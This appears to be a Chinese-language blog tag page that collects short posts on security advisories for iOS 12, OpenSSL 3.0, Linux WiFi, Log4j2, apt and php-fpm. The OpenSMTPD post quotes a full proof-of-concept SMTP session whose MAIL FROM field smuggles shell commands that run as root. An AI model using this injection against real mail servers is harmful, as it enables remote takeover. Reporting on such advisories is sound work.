Tag: execution

iPhone 5S 又拿到安全性更新了：iOS 12.5.7 (2023/01/23)

Apple 又針對 iOS 12 釋出安全性更新了：「About the security content of iOS 12.5.7」。

Available for: iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited against versions of iOS released before iOS 15.1.

Description: A type confusion issue was addressed with improved state handling.

這次的更新是 backport 去年十二月在 Safari 16.2 上修正的 CVE-2022-42856：

A type confusion issue was addressed with improved state handling. This issue is fixed in Safari 16.2, tvOS 16.2, macOS Ventura 13.1, iOS 15.7.2 and iPadOS 15.7.2, iOS 16.1.2. Processing maliciously crafted web content may lead to arbitrary code execution.

所以這包跟上次一樣 (參考先前寫的 「iOS 12.5.6」這篇)，也是在修正 RCE 類的漏洞，這樣對於 iPhone 5S 等於是進入第九年的支援了。

之前在網路上有看到有人在猜是因為海外有很多異議人士拿這隻手機，所以美國政府「希望」Apple 能夠針對一些高危險性的安全漏洞提供更新？

OpenSSL 3.0 RCE

OpenSSL 居然出了一包 RCE：「CVE-2022-3786 and CVE-2022-3602: X.509 Email Address Buffer Overflows」，security advisory 在「OpenSSL Security Advisory [01 November 2022]」這邊。

看第一個 CVE-2022-3602，本來看到這個 CVE 號碼為覺得應該是年初的號碼 (現在已經三萬多了？)，但依照官方的說法是十月的事情，看起來是用假名回報 (Polar Bear)：

This issue was reported to OpenSSL on 17th October 2022 by Polar Bear.
The fixes were developed by Dr Paul Dale.

在 CVE 的頁面上也可以看到「Date Record Created」這邊標的是 20221019，不知道是什麼情況。

另外一組 CVE-2022-3786 也是類似的情況，官方收到也是十月的事情：

This issue was discovered on 18th October 2022 by Viktor Dukhovni while
researching CVE-2022-3602. The fixes were developed by Dr Paul Dale.

在 CVE 頁面上則是標 20221101 建立，昨天的事情。

這次出事的範圍是 3.0.0 系列的 OpenSSL，前面的 1.1 與 1.0 系列是沒中的：

[T]he bugs were introduced as part of punycode decoding functionality (currently only used for processing email address name constraints in X.509 certificates). This code was first introduced in OpenSSL 3.0.0. OpenSSL 1.0.2, 1.1.1 and other earlier versions are not affected.

Ubuntu 上中的是 22.04 的 jammy 以及之後的版本，包括了 22.10 的 kinetic。還在用 20.04 的基本上都還是 1.1 系列的 OpenSSL 在跑，這次沒被貓到。

Linux 無線網路的 RCE 洞

在 Hacker News 首頁上看到 Linux 無線網路的 RCE 漏洞：「Some remotely exploitable kernel WiFi vulnerabilities」，mailing list 的信件是這邊：「[oss-security] Various Linux Kernel WLAN security issues (RCE/DOS) found」。

裡面題到了五個漏洞，其中屬於 RCE 的是這三個：

  • CVE-2022-41674: fix u8 overflow in cfg80211_update_notlisted_nontrans (max 256 byte overwrite) (RCE)
  • CVE-2022-42719: wifi: mac80211: fix MBSSID parsing use-after-free use after free condition (RCE)
  • CVE-2022-42720: wifi: cfg80211: fix BSS refcounting bugs ref counting use-after-free possibilities (RCE)

第一個只寫「An issue was discovered in the Linux kernel through 5.19.11.」，但討論上看到說應該是 5.1+，第二個在 CVE 裡面有提到是 5.2+，第三個是 5.1+。然後已經有看到 PoC code 了...

對於用 Linux 筆電的人得等各家 distribution 緊急出更新；但有些無線網路設備不知道怎麼辦...

iOS 12.5.6

早上發現 iPhone 6 Plus 被自動更新到 iOS 12.5.6，查了一下發現是八月底的時候 Apple 推了一版 WebKit 的 ACE，CVE-2022-32893：「About the security content of iOS 12.5.6」。

Impact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.

Description: An out-of-bounds write issue was addressed with improved bounds checking.

上個更新的版本 12.5.5 是 2021/09/23 出的，本來大家都以為已經沒有任何更新了，沒想到居然回過頭來發了一包，照蘋果的敘述看起來是因為這個洞被廣泛使用的關係？

iPhone 5S (目前 iOS 12 支援列表裡最早出的手機) 是 2013 下半年出的，到現在也九年了...

Log4j2 的 RCE

昨天爆出來 Log4j2 的 RCE，看了一下 pattern，只要是 Java stack 應該都很容易中獎：「Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package」，Hacker News 上對應的討論在「Log4j RCE Found (lunasec.io)」這邊可以看。

LunaSec 宣稱這是 0-day RCE，不過 Log4j2 的修正版本 2.15.0 在 2021/12/06 出了，而 exploit 被丟出來是 2021/12/09，但不確定在這之前是不是已經有 exploit 在 internet 上飛來飛去了...

丟出來的 exploit sample (CVE-2021-44228-Apache-Log4j-Rce) 是用 LDAP 來打，雖然大多數的 Java 版本不受影響，但還是有其他的面可以攻擊，所以整體上還是很容易打穿，該升級的還是得趕快升級：

Updates (3 hours after posting): According to this blog post (see translation), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP.

However, there are other attack vectors targeting this vulnerability which can result in RCE. An attacker could still leverage existing code on the server to execute a payload. An attack targeting the class org.apache.naming.factory.BeanFactory, present on Apache Tomcat servers, is discussed in this blog post.

週末苦命時間...

從調校 HTTP Server 的文章中學各種奇技淫巧

在「Extreme HTTP Performance Tuning: 1.2M API req/s on a 4 vCPU EC2 Instance」這篇文章裡面，作者在示範各種奇技淫巧調教校 HTTP server。

在 Hacker News 上的討論也蠻有趣的：「Extreme HTTP Performance Tuning (talawah.io)」。

雖然是在講 HTTP server，但裡面有很多東西可以拿出來獨立用。

想特地拿出來聊的大項目是「Speculative Execution Mitigations」這段，作者有些說明，除非你真的知道你在做什麼，不然不應該關掉這些安全相關的修正：

You should probably leave the mitigations enabled for that system.

而作者是考慮到 AWS 有推出 AWS Nitro Enclaves 的前提下決定關掉，但我會建議在 *.metal 的機器上才這樣做，這樣可以避免這台機器上有其他 AWS 帳號的程式在跑。

測試中關了一卡車 mitigation，得到了 28% 的效能提昇：

Disabling these mitigations gives us a performance boost of around 28%.

這其實比預期中多了不少，這對於自己擁有實體機房跑 Intel 平台的使用者來說，很吸引人啊...

OpenSMTPD RCE

在「OpenBSD OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)」這邊看到頗意外的 OpenSMTPD RCE，而且從「Qualys Security Advisory LPE and RCE in OpenSMTPD (CVE-2020-7247)」這邊的範例可以看到是個淺顯易懂的 exploit：

$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye

這樣有點歡樂...

最近的 nginx + php-fpm 安全性漏洞

這次的漏洞是在打 CTF (capture the flag) 的時候發現的，這個安全漏洞已經被給 CVE 編號並且修正了：「CVE-2019-11043」，回報者與官方的討論可以在「Sec Bug #78599 env_path_info underflow in fpm_main.c can lead to RCE」這邊看到。從回報的標題可以知道這次頗熱鬧的原因，是因為這次有機會 RCE (remote code execution)...

在「PHuiP-FPizdaM」這邊可以看到比較系統性的整理 (以及 exploit)，看起來雖然有不少條件，但都不算太特別的指令，如果以全世界的機器來看，應該會有不少機器中獎...

Chrome 對各種 JavaScript 的優先順序

前陣子看到「JavaScript Loading Priorities in Chrome」這篇，在分析 Google Chrome 對各種 JavaScript 的優先順序。

優先順序分成讀取的「Loading priority (network/Blink)」與執行的「Execution priority」，另外文章裡也有整理建議「Where should this be used?」。

看起來 <script defer> at the end of <body> 是全部裡面最低的，建議是給 Load "Related articles" 或是 "Give feedback" 這類功能，不過應該沒什麼人真的這樣用...

然後要注意的是，這邊分析的對象是 Google Chrome，實際在設計時應該要先考慮一般性的定義，再考慮對各瀏覽器的最佳化... (雖然以現在市占率來說沒什麼人想管其他瀏覽器...)

apt-get 的安全性漏洞

前幾天寫的「APT 不使用 HTTPS 的說明」的當下就已經有看到在講這個漏洞，但沒讀完就一直放著沒寫：「Remote Code Execution in apt/apt-get」。

漏洞出在實作上的問題，對於 HTTP 重導的程式碼沒有處理好外部字串，在還沒修正的機器上用這個指令關閉 redirect，避免在修正的過程反而被 RCE 打進去：

sudo apt update -o Acquire::http::AllowRedirect=false
sudo apt upgrade -o Acquire::http::AllowRedirect=false

但也不是 HTTPS 就能避免這個問題，因為 HTTPS 連線用的程式碼又是另外一份，裡面不知道有沒有問題 (像是之前經典的 Heartbleed)，所以應該還是會繼續爭吵吧...